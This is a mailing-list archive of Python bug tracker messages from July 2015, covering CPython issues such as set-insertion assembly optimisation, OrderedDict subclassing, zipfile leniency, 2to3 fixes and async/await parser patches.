_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 18:47:34 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 22 Jul 2015 16:47:34 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437583654.13.0.190471091461.issue24681@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

FWIW, my approach is to look at the most important code
paths to see if there is any work being done that isn't
essential for the result being computed.

Next, I look at the generated assembly to estimate speed
by counting memory accesses (and whether they are cached
fresh accesses or stale random accesses) and I look at
the branches (and whether they are predictable or not).

The table=so->table assignment was being done for all code
paths but was only needed around the rich compare.  Here
is the before and after for the most important path
(the first lookup).  Note that the change saves one memory
spill and one reload.

Before:
-------
_set_add_entry:
pushq   %r15
pushq   %r14
movq    %rdx, %r14
pushq   %r13
pushq   %r12
movq    %rdi, %r12
pushq   %rbp
movq    %rsi, %rbp
pushq   %rbx
subq    $56, %rsp
movq    40(%rdi), %rax
addq    $1, (%rsi)
movq    %rax, 16(%rsp)        <-- spill
movq    32(%r12), %rdx        
movq    %rdx, %r15
andq    %r14, %r15
movq    %r15, %rbx
salq    $4, %rbx
addq    16(%rsp), %rbx        <-- reload
movq    (%rbx), %rcx
testq   %rcx, %rcx
je  L430


AFTER
-----
_set_add_entry:
	pushq	%r15
	movq	%rdx, %r15
	pushq	%r14
	pushq	%r13
	pushq	%r12
	movq	%rdi, %r12
	pushq	%rbp
	movq	%rsi, %rbp
	pushq	%rbx
	subq	$56, %rsp
	movq	40(%rdi), %rdx
	addq	$1, (%rsi)        <-- no spill
	movq	%rdx, %r11
L428:
	movq	32(%r12), %rcx
	movq	%rcx, %r13
	andq	%r15, %r13
	movq	%r13, %rbx
	salq	$4, %rbx
	addq	%r11, %rbx         <-- from register
	movq	(%rbx), %r14
	testq	%r14, %r14
	je	L429


The code around the rich compare used to do memory
loads that weren't necessary for the most likely case
(since the 64-bit hash values match, it is very likely
that the comparison will report a match).

BEFORE
------

call    _PyObject_RichCompareBool
movq    24(%rsp), %rcx
movq    (%rcx), %rdi
leaq    -1(%rdi), %rdx
testq   %rdx, %rdx
movq    %rdx, (%rcx)
je  L489
testl   %eax, %eax            
js  L437                      <--- predictable error branch
movq    40(%r12), %rdx        <--- memory load 
cmpq    16(%rsp), %rdx        <--- memory load
jne L460                 
cmpq    (%rbx), %rcx          <--- memory load  
jne L429                      <--- predictable restart branch
testl   %eax, %eax            <--- predictable found_active branch            
jne L432                      <--- most common exit point
movq    32(%r12), %rdx


AFTER
-----

	call	_PyObject_RichCompareBool
	movq	16(%rsp), %rcx
	movq	(%rcx), %rdi
	leaq	-1(%rdi), %rdx
	testq	%rdx, %rdx
	movq	%rdx, (%rcx)
	je	L485
	cmpl	$0, %eax
	jg	L431                  <-- common exit before the memory loads!
L490:
	jne	L434
	movq	40(%r12), %rdx    <--- memory load 
	cmpq	%rdx, 24(%rsp)    <--- memory load 
	movq	%rdx, %r11
	jne	L428
	cmpq	(%rbx), %rcx      <--- memory load 
	jne	L428

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 18:48:46 2015
From: report at bugs.python.org (Robert Collins)
Date: Wed, 22 Jul 2015 16:48:46 +0000
Subject: [issue2091] file accepts 'rU+' as a mode
In-Reply-To: <1202856909.89.0.801927341292.issue2091@psf.upfronthosting.co.za>
Message-ID: <1437583726.52.0.322582604667.issue2091@psf.upfronthosting.co.za>


Robert Collins added the comment:

Updated patch. I'm not going to apply right now - giving it a little time to let folk chime on whether this should be applied all the way back to 3.4, or not.

My inclination is to only apply it to 3.6.

----------
nosy: +rbcollins
Added file: http://bugs.python.org/file39980/issue2091-3.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 18:50:52 2015
From: report at bugs.python.org (=?utf-8?q?Matth=C3=A4us_Wander?=)
Date: Wed, 22 Jul 2015 16:50:52 +0000
Subject: [issue16995] Add Base32 support for RFC4648 "Extended Hex" alphabet
 (patch attached)
In-Reply-To: <1358533279.94.0.666576182033.issue16995@psf.upfronthosting.co.za>
Message-ID: <1437583852.18.0.375631061551.issue16995@psf.upfronthosting.co.za>


Matth?us Wander added the comment:

I've created a new patch that works against the current 3.5 sources. Should be fine for 3.6, I guess.

Separate functions b32hexencode and b32hexdecode are used now. There is no optional parameter "base32hex" anymore.

----------
versions: +Python 3.6 -Python 3.5
Added file: http://bugs.python.org/file39981/py3_base32hex.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 19:02:26 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 22 Jul 2015 17:02:26 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437584546.21.0.306242673108.issue24681@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> "you have to provide a benchmark"

Actually, I don't.  When making a small series of changes, benchmarking every step is waste of time and tends to trap you in local minimums and causes you to overfit to a particular processor, compiler, or benchmark.  The better process is to carefully work through what the code is telling the machine to do and evaluating whether those steps make sense.  This is done in conjunction with organizing the code in a more logical manner (i.e. only saving the so->table in the block where we're using it as a check to check if the rich comparison rearranged the table in a way the invalidated the entry pointer or made the current search invalid).  In general, less work is better, having related actions take place close together is better, making functions self-contained is better, etc.

If you want to team-up and help, your contribution is welcome.  General sniping isn't helpful at all.  I wrote all of this code and have maintained it for 13 years -- this series of refactorings has been something I've been working towards for a long time.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 19:04:01 2015
From: report at bugs.python.org (Eric Frederich)
Date: Wed, 22 Jul 2015 17:04:01 +0000
Subject: [issue24685] collections.OrderedDict collaborative subclassing
Message-ID: <1437584641.0.0.00317519120009.issue24685@psf.upfronthosting.co.za>


New submission from Eric Frederich:

After watching the PyCon talk Super considered super[1] and reading the corresponding blog post[2] I tried playing with dependency injection.

I was surprised to notice that the example he gave did not work if I swap the order of the classes around.  I think it should have.  See attached file.

I think this is a bug in collections.OrderedDict
OrderedDict is not well-behaved as far as cooperative subclassing is concerned.

The source code is hard wired with a keyword argument dict_setitem=dict.__setitem__ which it then calls at the end with dict_setitem(self, key, value)

A quick search of github for dict_setitem shows that this
bad practice seems be making its way into other projects

If dict_setitem keyword arg is really necessary to have, then maybe:

    (a) have it default to None
    (b) at the end of __setitem__ do something like:

        if dict_setitem is not None:
            return dict_setitem(self, key, value)
        
        super(OrderedDict, self).__setitem__(key, value)

After a discussion on #py-dev this seemed like a reasonable request (not necessarily the implementation, but the idea that OrderedDict should cooperate).
I tested this against the C implementation of OrderedDict in Python 3.5 and noticed that it doesn't cooperate either.


[1] https://www.youtube.com/watch?v=EiOglTERPEo
[2] https://rhettinger.wordpress.com/2011/05/26/super-considered-super/

----------
components: Library (Lib)
files: inj.py
messages: 247136
nosy: eric.frederich, eric.snow, rhettinger
priority: normal
severity: normal
status: open
title: collections.OrderedDict collaborative subclassing
versions: Python 2.7, Python 3.5
Added file: http://bugs.python.org/file39982/inj.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 19:16:22 2015
From: report at bugs.python.org (Devin Fisher)
Date: Wed, 22 Jul 2015 17:16:22 +0000
Subject: [issue24686] zipfile is intolerant of extra bytes
Message-ID: <1437585382.21.0.339790988945.issue24686@psf.upfronthosting.co.za>


New submission from Devin Fisher:

Not sure if this is a bug. The attached jar file is malformed.  Unzip (6.00) says the following about the malformedness of the jar file:

unzip -tqq bad.jar 
com/pixelmed/apps/DoseUtility$OurSourceDatabaseTreeBrowser$1.class bad extra-field entry:
      EF block length (43230 bytes) exceeds remaining EF data (10 bytes)


But unzip (6.00) and my GNOME Archive Manager (3.16.3) are able to open and extract the file without issue. 

So I'm wondering if zipfile is too strict?

Anyway, when trying to interact with attached jar file I get the following error.

Code:
import zipfile
if __name__ == "__main__":
    path = 'bad.jar'
    file = zipfile.ZipFile(path)

Output:
Traceback (most recent call last):
  File "/home/devin.fisher/sandboxes/feeder.v61_release.dev/temp/bug.py", line 4, in 
    file = zipfile.ZipFile(path)
  File "/usr/lib64/python3.4/zipfile.py", line 937, in __init__
    self._RealGetContents()
  File "/usr/lib64/python3.4/zipfile.py", line 1034, in _RealGetContents
    x._decodeExtra()
  File "/usr/lib64/python3.4/zipfile.py", line 418, in _decodeExtra
    counts = unpack('

_______________________________________

From report at bugs.python.org  Wed Jul 22 19:18:45 2015
From: report at bugs.python.org (R. David Murray)
Date: Wed, 22 Jul 2015 17:18:45 +0000
Subject: [issue24503] csv.writer fails when within csv.reader
In-Reply-To: <1435176315.93.0.429947665214.issue24503@psf.upfronthosting.co.za>
Message-ID: <1437585525.78.0.841661443296.issue24503@psf.upfronthosting.co.za>


R. David Murray added the comment:

No, the object is just a wrapper around an iterator.  It doesn't know or care that you've passed in a file iterator...it is the file iterator's behavior that is non standard (this has been discussed elsewhere in the tracker, but it is not something that can be changed at this point, since files have always worked that way).

----------
nosy: +r.david.murray
resolution:  -> not a bug
stage: test needed -> resolved

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 19:50:08 2015
From: report at bugs.python.org (Carl Meyer)
Date: Wed, 22 Jul 2015 17:50:08 +0000
Subject: [issue24651] Mock.assert* API is in user namespace
In-Reply-To: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za>
Message-ID: <1437587408.72.0.0108273323991.issue24651@psf.upfronthosting.co.za>


Carl Meyer added the comment:

FWIW, my assumption was that the typical usage pattern would be `import mock` rather than separate imports of all the assertions, so I don't think there'd really be an increase in what users need to know about or import. (They already need to know about the methods on the mock object, knowing about functions in a module isn't practically any different.)

But the "breaking working code for insufficient benefit" argument is strong indeed, and personally I'm happy to defer to the module author on this one.

Thanks for writing and maintaining mock!

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 20:19:27 2015
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 22 Jul 2015 18:19:27 +0000
Subject: [issue13938] 2to3 fails to convert types.StringTypes appropriately
In-Reply-To: <1328333493.54.0.112859472866.issue13938@psf.upfronthosting.co.za>
Message-ID: <20150722181924.8492.87784@psf.io>


Roundup Robot added the comment:

New changeset b97b6cc381d7 by Robert Collins in branch 'default':
Issue #13938: 2to3 converts StringTypes to a tuple. Patch from Mark Hammond.
https://hg.python.org/cpython/rev/b97b6cc381d7

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 20:19:46 2015
From: report at bugs.python.org (Robert Collins)
Date: Wed, 22 Jul 2015 18:19:46 +0000
Subject: [issue13938] 2to3 fails to convert types.StringTypes appropriately
In-Reply-To: <1328333493.54.0.112859472866.issue13938@psf.upfronthosting.co.za>
Message-ID: <1437589186.71.0.852904748699.issue13938@psf.upfronthosting.co.za>


Robert Collins added the comment:

I've applied this to 3.6.

----------
nosy: +rbcollins

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 20:26:25 2015
From: report at bugs.python.org (R. David Murray)
Date: Wed, 22 Jul 2015 18:26:25 +0000
Subject: [issue13938] 2to3 fails to convert types.StringTypes appropriately
In-Reply-To: <1328333493.54.0.112859472866.issue13938@psf.upfronthosting.co.za>
Message-ID: <1437589585.37.0.0722535366867.issue13938@psf.upfronthosting.co.za>


R. David Murray added the comment:

Looking at the audit log its not clear to me which versions Benjamin wanted this applied to, though it looks like 2.7 at least.

----------
nosy: +r.david.murray

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 20:37:30 2015
From: report at bugs.python.org (Alexandr Normuradov)
Date: Wed, 22 Jul 2015 18:37:30 +0000
Subject: [issue20337] bdist_rpm should support %config(noreplace)
In-Reply-To: <1390343812.97.0.521102464448.issue20337@psf.upfronthosting.co.za>
Message-ID: <1437590250.88.0.828668175795.issue20337@psf.upfronthosting.co.za>


Changes by Alexandr Normuradov :


----------
nosy: +anormuradov

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 20:40:40 2015
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 22 Jul 2015 18:40:40 +0000
Subject: [issue22153] Documentation of TestCase.runTest is incorrect and
 confusing
In-Reply-To: <1407301202.17.0.719208246986.issue22153@psf.upfronthosting.co.za>
Message-ID: <20150722184037.13853.35821@psf.io>


Roundup Robot added the comment:

New changeset eefc157b3096 by Robert Collins in branch '3.4':
Issue #22153: Improve unittest docs. Patch from Martin Panter and evilzero.
https://hg.python.org/cpython/rev/eefc157b3096

New changeset 10f5a7fa26d5 by Robert Collins in branch '3.5':
Issue #22153: Improve unittest docs. Patch from Martin Panter and evilzero.
https://hg.python.org/cpython/rev/10f5a7fa26d5

New changeset 45bd2dadbd0d by Robert Collins in branch 'default':
Issue #22153: Improve unittest docs. Patch from Martin Panter and evilzero.
https://hg.python.org/cpython/rev/45bd2dadbd0d

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 20:42:21 2015
From: report at bugs.python.org (Robert Collins)
Date: Wed, 22 Jul 2015 18:42:21 +0000
Subject: [issue13938] 2to3 fails to convert types.StringTypes appropriately
In-Reply-To: <1328333493.54.0.112859472866.issue13938@psf.upfronthosting.co.za>
Message-ID: <1437590541.55.0.221472698568.issue13938@psf.upfronthosting.co.za>


Robert Collins added the comment:

Not clear to me either: I figured that after three years the relevance to 2.7 was pretty low, but I can transplant it if you think thats relevant.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 20:43:08 2015
From: report at bugs.python.org (Robert Collins)
Date: Wed, 22 Jul 2015 18:43:08 +0000
Subject: [issue22153] Documentation of TestCase.runTest is incorrect and
 confusing
In-Reply-To: <1407301202.17.0.719208246986.issue22153@psf.upfronthosting.co.za>
Message-ID: <1437590588.73.0.279023226917.issue22153@psf.upfronthosting.co.za>


Robert Collins added the comment:

Thanks for the update, it looks good to me. Applied to 3.4 and up. I'm not applying to 2.7 at this stage.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 20:55:34 2015
From: report at bugs.python.org (R. David Murray)
Date: Wed, 22 Jul 2015 18:55:34 +0000
Subject: [issue13938] 2to3 fails to convert types.StringTypes appropriately
In-Reply-To: <1328333493.54.0.112859472866.issue13938@psf.upfronthosting.co.za>
Message-ID: <1437591334.74.0.94295654743.issue13938@psf.upfronthosting.co.za>


R. David Murray added the comment:

Well, it's a patch to 2to3, which I'm assuming is sometimes (often?) run using 2.7 to convert code to run under python3.

I personally don't use transplant in cases like this, I just apply the patch independently to the 2.7 branch.  That may just be because I've never used transplant, but we are treating the two branches as independent and I don't want to screw that up :)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 21:05:03 2015
From: report at bugs.python.org (Robert Collins)
Date: Wed, 22 Jul 2015 19:05:03 +0000
Subject: [issue13938] 2to3 fails to convert types.StringTypes appropriately
In-Reply-To: <1328333493.54.0.112859472866.issue13938@psf.upfronthosting.co.za>
Message-ID: <1437591903.82.0.0806871788803.issue13938@psf.upfronthosting.co.za>


Robert Collins added the comment:

So, I don't think I've ever done 2.x stuff with hg here, I'll leave this open till I've looked up the docs and applied it safely.


... unless you'd like to do the 2.7 application ? :)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 21:10:51 2015
From: report at bugs.python.org (Eric Snow)
Date: Wed, 22 Jul 2015 19:10:51 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437592251.5.0.415999212935.issue24681@psf.upfronthosting.co.za>


Eric Snow added the comment:

Thanks for the clear explanation, Raymond.  The approach you've described is useful in a number of circumstances.  Would you mind publishing (somewhere outside the tracker; devguide?) the specific steps you take and the tools you use?

----------
nosy: +eric.snow

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 21:25:05 2015
From: report at bugs.python.org (Robert Collins)
Date: Wed, 22 Jul 2015 19:25:05 +0000
Subject: [issue22153] Documentation of TestCase.runTest is incorrect and
 confusing
In-Reply-To: <1407301202.17.0.719208246986.issue22153@psf.upfronthosting.co.za>
Message-ID: <1437593105.95.0.685132573747.issue22153@psf.upfronthosting.co.za>


Changes by Robert Collins :


----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed
versions: +Python 3.6 -Python 2.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 21:42:01 2015
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 22 Jul 2015 19:42:01 +0000
Subject: [issue13938] 2to3 fails to convert types.StringTypes appropriately
In-Reply-To: <1328333493.54.0.112859472866.issue13938@psf.upfronthosting.co.za>
Message-ID: <20150722194158.52004.95950@psf.io>


Roundup Robot added the comment:

New changeset ce34c78ebf65 by Robert Collins in branch '2.7':
Issue #13938: 2to3 converts StringTypes to a tuple. Patch from Mark Hammond.
https://hg.python.org/cpython/rev/ce34c78ebf65

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 21:43:16 2015
From: report at bugs.python.org (Robert Collins)
Date: Wed, 22 Jul 2015 19:43:16 +0000
Subject: [issue13938] 2to3 fails to convert types.StringTypes appropriately
In-Reply-To: <1328333493.54.0.112859472866.issue13938@psf.upfronthosting.co.za>
Message-ID: <1437594196.81.0.257119392834.issue13938@psf.upfronthosting.co.za>


Changes by Robert Collins :


----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 22:22:03 2015
From: report at bugs.python.org (Robert Collins)
Date: Wed, 22 Jul 2015 20:22:03 +0000
Subject: [issue9232] Allow trailing comma in any function argument list.
In-Reply-To: <1278945017.29.0.842296068848.issue9232@psf.upfronthosting.co.za>
Message-ID: <1437596523.18.0.321941542555.issue9232@psf.upfronthosting.co.za>


Robert Collins added the comment:

FWIW I would like to see this, but I think it does need a PEP given the contention so far. For that, we need a BDFL delegate AIUI.

----------
nosy: +rbcollins
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 22:35:34 2015
From: report at bugs.python.org (Eric Snow)
Date: Wed, 22 Jul 2015 20:35:34 +0000
Subject: [issue24667] OrderedDict.popitem()/__str__() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437597334.52.0.102055491699.issue24667@psf.upfronthosting.co.za>


Eric Snow added the comment:

That worked.  I'll take a close look at what's going on as soon as I can.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 00:02:09 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 22 Jul 2015 22:02:09 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <1437602529.25.0.189638732694.issue24619@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> I'm just curious if the 'ctx' is still needed:  It looks like
> the outermost "async def" dominates all further nested scopes
> w.r.t the tokenizer mode, no matter whether they're "def" or
> "async def" scopes.

This is a wonderful idea, that's the way it should be done in
both tokenizer.c and tokenize.py.

Please see the new patch.  I love the simplicity of it, no 
more stacks or hard to follow code.

----------
resolution: fixed -> 
stage: resolved -> patch review
status: closed -> open
Added file: http://bugs.python.org/file39984/issue24619.3.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 00:09:17 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 22 Jul 2015 22:09:17 +0000
Subject: [issue24687] refleak on SyntaxError in function parameter annotation
Message-ID: <1437602957.63.0.089802664911.issue24687@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

A simple way of reproducing the issue is to try to compile the following piece of code with refleaks check mode on:

   def foo(a:(yield)): pass

Since '(yield)' expression is outside of a function, it will trigger a SyntaxError.

There is a subtle bug in compile.c though, specifically in compiler_visit_argannotation method; it should return -1 in case of error, but the VISIT macro it uses returns 0 on errors.

Attached patch uses 'compiler_visit_expr' directly returning correct error code.

----------
components: Interpreter Core
files: compile.patch
keywords: patch
messages: 247153
nosy: benjamin.peterson, ncoghlan, yselivanov
priority: high
severity: normal
stage: patch review
status: open
title: refleak on SyntaxError in function parameter annotation
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39985/compile.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 00:13:43 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 22 Jul 2015 22:13:43 +0000
Subject: [issue24688] Fix ast.get_docstring to support 'async def' functions
Message-ID: <1437603223.58.0.585645745269.issue24688@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

Please see the attached patch.

----------
components: Library (Lib)
files: compile.patch
keywords: patch
messages: 247154
nosy: benjamin.peterson, georg.brandl, yselivanov
priority: high
severity: normal
stage: patch review
status: open
title: Fix ast.get_docstring to support 'async def' functions
type: enhancement
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39986/compile.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 00:15:14 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 22 Jul 2015 22:15:14 +0000
Subject: [issue24688] Fix ast.get_docstring to support 'async def' functions
In-Reply-To: <1437603223.58.0.585645745269.issue24688@psf.upfronthosting.co.za>
Message-ID: <1437603314.1.0.156184901603.issue24688@psf.upfronthosting.co.za>


Changes by Yury Selivanov :


Removed file: http://bugs.python.org/file39986/compile.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 00:15:26 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 22 Jul 2015 22:15:26 +0000
Subject: [issue24688] Fix ast.get_docstring to support 'async def' functions
In-Reply-To: <1437603223.58.0.585645745269.issue24688@psf.upfronthosting.co.za>
Message-ID: <1437603326.15.0.352372180102.issue24688@psf.upfronthosting.co.za>


Changes by Yury Selivanov :


Added file: http://bugs.python.org/file39987/ast.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 01:29:01 2015
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 22 Jul 2015 23:29:01 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437607741.12.0.329241393959.issue24681@psf.upfronthosting.co.za>


STINNER Victor added the comment:

For me, optimizing assembler is still an optimization. I give up, I just don't care of set performances.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 02:27:42 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 23 Jul 2015 00:27:42 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437611262.58.0.134158970428.issue24681@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

If PyObject_RichCompareBool() reports that a key is already present in the set, then set_add_entry() is under no further obligation to make an insertion.   As long as there is no risk of segfault, there is no more obligation to cater to lying or self-destructing __eq__ methods than there is to support objects that return randomized __hash__ values. 

The docs for set.add(...):  "Add an element to a set. This has no effect if the element is already present."  The latter condition is determined by the PyObject_RichCompareBool() check.  If it reports a match, then it is reasonable to do nothing.

FWIW, dicts don't have a choice in this regard because they still have an implementation that depends on returning a currently valid entry which they can't do if the table is mutating during the search.  The set_add_entry() implementation has the advantage in that it is self-contained and need only report -1 is an error arose during the comparison or a 0 to indicate that no error arose.  Also, note that sets diverged from dicts that the outset in that they don't swallow exceptions like PyDict_GetItem() does.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 03:01:30 2015
From: report at bugs.python.org (Carol Willing)
Date: Thu, 23 Jul 2015 01:01:30 +0000
Subject: [issue24682] Add Quick Start: Communications section to devguide
In-Reply-To: <1437540333.82.0.609056038167.issue24682@psf.upfronthosting.co.za>
Message-ID: <1437613290.8.0.616478927718.issue24682@psf.upfronthosting.co.za>


Carol Willing added the comment:

Here's the patch for adding the `Quick Start: Community workflow` section to the devguide.

I made a few other minor edits to the index page (replacing beginner/advanced wording for starter/additional) since docs and testing are important. While docs and testing are great starting points for new developers, docs and testing have their own advanced nuances as well. :D

Ezio, Thanks for the earlier suggestions. Please do make any additional suggestions to improve this patch. I wanted to get it up so you had a better sense of my approach.

I expect that there will be other devguide changes to come after this. Perhaps as Ezio suggested a more detailed mailing list section in help.rst, but I think that those can be addressed in a separate issue.

Thanks!

----------
keywords: +patch
stage: needs patch -> patch review
Added file: http://bugs.python.org/file39988/iss24682.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 03:10:08 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 23 Jul 2015 01:10:08 +0000
Subject: [issue24685] collections.OrderedDict collaborative subclassing
In-Reply-To: <1437584641.0.0.00317519120009.issue24685@psf.upfronthosting.co.za>
Message-ID: <1437613808.1.0.6398171659.issue24685@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


----------
assignee:  -> rhettinger
versions: +Python 3.6 -Python 2.7, Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 03:21:05 2015
From: report at bugs.python.org (Martin Panter)
Date: Thu, 23 Jul 2015 01:21:05 +0000
Subject: [issue16995] Add Base32 support for RFC4648 "Extended Hex" alphabet
 (patch attached)
In-Reply-To: <1358533279.94.0.666576182033.issue16995@psf.upfronthosting.co.za>
Message-ID: <1437614465.12.0.0034633788135.issue16995@psf.upfronthosting.co.za>


Martin Panter added the comment:

Matth?us, I think you uploaded the old patch again by accident. Also, see Berker?s old comments about documentation, and my new suggestions, on the Rietveld code review, if you haven?t already.

----------
nosy: +vadmium

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 03:30:03 2015
From: report at bugs.python.org (Martin Panter)
Date: Thu, 23 Jul 2015 01:30:03 +0000
Subject: [issue22598] Add mUTF-7 codec (UTF-7 modified for IMAP)
In-Reply-To: <1412936657.2.0.48984767576.issue22598@psf.upfronthosting.co.za>
Message-ID: <1437615003.13.0.550207737344.issue22598@psf.upfronthosting.co.za>


Martin Panter added the comment:

Not sure on the scope of this, but if someone wants to implement the incremental codec API, be aware that the existing UTF-7 codec, PyUnicode_DecodeUTF7Stateful() API, etc, does not actually support this properly. See Issue 20132, e.g. the test cases in . I recommend against impementing an incremental or stream codec based only on a stateless codec.

----------
nosy: +vadmium

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 03:32:59 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 23 Jul 2015 01:32:59 +0000
Subject: [issue24685] collections.OrderedDict collaborative subclassing
In-Reply-To: <1437584641.0.0.00317519120009.issue24685@psf.upfronthosting.co.za>
Message-ID: <1437615179.62.0.343828554575.issue24685@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

This is an intentional design choice.  One reason for tightly coupling OrderedDict to dict was to preserve freedom for a C-implementation.  Another reason was for performance.  IIRC, using super() in __setitem__ slowed the OD from 10x slower than dicts to 20x.

Non-cooperative classes (of which Python has many) can be wrapped to make the classes cooperative.  The technique is discussed in the blog post https://rhettinger.wordpress.com/2011/05/26/super-considered-super/ .

----------
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 03:54:39 2015
From: report at bugs.python.org (Martin Panter)
Date: Thu, 23 Jul 2015 01:54:39 +0000
Subject: =?utf-8?q?=5Bissue20132=5D_Many_incremental_codecs_don=E2=80=99t_handle_f?=
 =?utf-8?q?ragmented_data?=
In-Reply-To: <1388929738.44.0.851837204966.issue20132@psf.upfronthosting.co.za>
Message-ID: <1437616479.02.0.58488735983.issue20132@psf.upfronthosting.co.za>


Changes by Martin Panter :


----------
dependencies: +Fix codecs.iterencode/decode() by allowing data parameter to be omitted, Stream encoder for zlib_codec doesn't use the incremental encoder, quopri module differences in quoted-printable text with whitespace, quopri_codec newline handling

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 05:08:19 2015
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Thu, 23 Jul 2015 03:08:19 +0000
Subject: [issue24682] Add Quick Start: Communications section to devguide
In-Reply-To: <1437540333.82.0.609056038167.issue24682@psf.upfronthosting.co.za>
Message-ID: <1437620899.14.0.515707004865.issue24682@psf.upfronthosting.co.za>


Stephen J. Turnbull added the comment:

If the mailing list code of conduct is to be fleshed out, Paul Moore's post is a good place to start IMO: https://mail.python.org/pipermail/python-dev/2015-July/140872.html.

----------
nosy: +sjt

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 05:29:42 2015
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Thu, 23 Jul 2015 03:29:42 +0000
Subject: [issue24682] Add Quick Start: Communications section to devguide
In-Reply-To: <1437540333.82.0.609056038167.issue24682@psf.upfronthosting.co.za>
Message-ID: <1437622182.06.0.989235328782.issue24682@psf.upfronthosting.co.za>


Stephen J. Turnbull added the comment:

